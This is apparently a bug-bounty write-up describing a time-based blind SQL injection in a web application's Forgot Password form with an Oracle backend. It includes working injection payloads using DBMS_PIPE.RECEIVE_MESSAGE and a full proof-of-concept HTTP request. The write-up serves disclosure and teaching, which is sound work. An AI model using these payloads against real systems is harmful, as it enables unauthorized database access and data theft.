Finding the Vulnerability

During testing, I analyzed the application’s Forgot Password functionality.

One POST parameter accepted user-controlled input without proper sanitization.

The request structure looked similar to the following:

POST /forgotPassword.php HTTP/1.1
Host: example.com
Content-Type: application/x-www-form-urlencoded

regcode=<user_input>&[email protected]

After testing various payloads, I injected an Oracle timing function.

Example payload:

12345678' AND DBMS_PIPE.RECEIVE_MESSAGE('research',5) IS NOT NULL AND '1'='1

Instead of returning an error, the application consistently delayed its response by approximately 5 seconds.

This behavior strongly indicated that the injected SQL statement was being executed by the backend Oracle database.

POC:

POST /rect17/forgotPassword.php HTTP/1.1
Host: null
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:153.0) Gecko/20100101 Firefox/153.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.9
Accept-Encoding: gzip, deflate
Referer: http://null/rect17/forgotPassword.php
Content-Type: application/x-www-form-urlencoded
Content-Length: 156
Origin: http://null
Connection: close
Cookie: PHPSESSID=null
Upgrade-Insecure-Requests: 1
Priority: u=0, i
&regcode=12345678' AND 3973=DBMS_PIPE.RECEIVE_MESSAGE('karthithehacker', 5) AND 'bug'='bug&[email protected]&btnSave=Submit&formsubmitted=YES

Video poc:

https://youtu.be/RUVOgD1rWEw

Verifying the Vulnerability

To eliminate the possibility of network latency or server performance issues, I repeated the test multiple times.

The results remained consistent:

PayloadResponseNormal requestImmediateSQL payload with delay~5 secondsNormal requestImmediateSQL payload with delay~5 seconds

The predictable delay confirmed that the SQL injection was genuine.

Why This Matters

Even though this was a blind SQL injection, the impact can still be severe.

Depending on database permissions, an attacker could potentially:

• Extract sensitive database information
• Enumerate tables and columns
• Retrieve user records
• Bypass application logic
• Execute additional SQL queries
• Compromise confidential business data

SQL injection continues to rank among the most critical web application vulnerabilities because it can directly affect the confidentiality, integrity, and availability of application data.